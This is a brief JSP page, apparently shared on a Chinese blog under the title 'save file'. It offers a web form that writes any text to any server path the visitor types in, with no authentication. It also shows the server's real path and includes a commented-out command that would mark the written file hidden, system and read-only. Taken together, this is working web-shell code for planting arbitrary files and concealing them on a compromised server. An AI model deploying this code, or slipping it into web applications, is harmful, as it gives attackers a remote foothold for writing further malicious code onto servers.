<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
<%@page import="java.io.*"%>
<%!public String save(String path, String content) {
String message = null;
try {
if(path!=null&&content!=null){
FileWriter fw = new FileWriter(path);
fw.write(content);
fw.close();
message = "SUCCESS!</br>";
}
} catch (IOException e) {
e.printStackTrace();
}
return message;
}
%>
<form action="<%=request.getContextPath()+ request.getServletPath()%>?action=save" method="post">
<%=request.getRealPath(request.getServletPath())%><br />
<input type="text" size="45" name="path" />
<br />
<textarea rows="20" cols="40" name="content"></textarea>
<br>
<input type="submit" value="save" />
</form>
<%
String action=null;
if( request.getParameter("action")==null){
action="save";
}else{
action = (String)request.getParameter("action");
}
if(action.equals("save")){
String content = request.getParameter("content");
String path = request.getParameter("path");
String message = null;
if (path != null&&content!=null) {
path = path.replace("\\", "/");
message=save(path, content);
String atts="attrib +a +s +h +r "+path;
//Runtime.getRuntime().exec(atts);
}
if (message != null) {
out.print(message);
}
}
%>
jsp保存文件
最新推荐文章于 2024-11-01 10:25:41 发布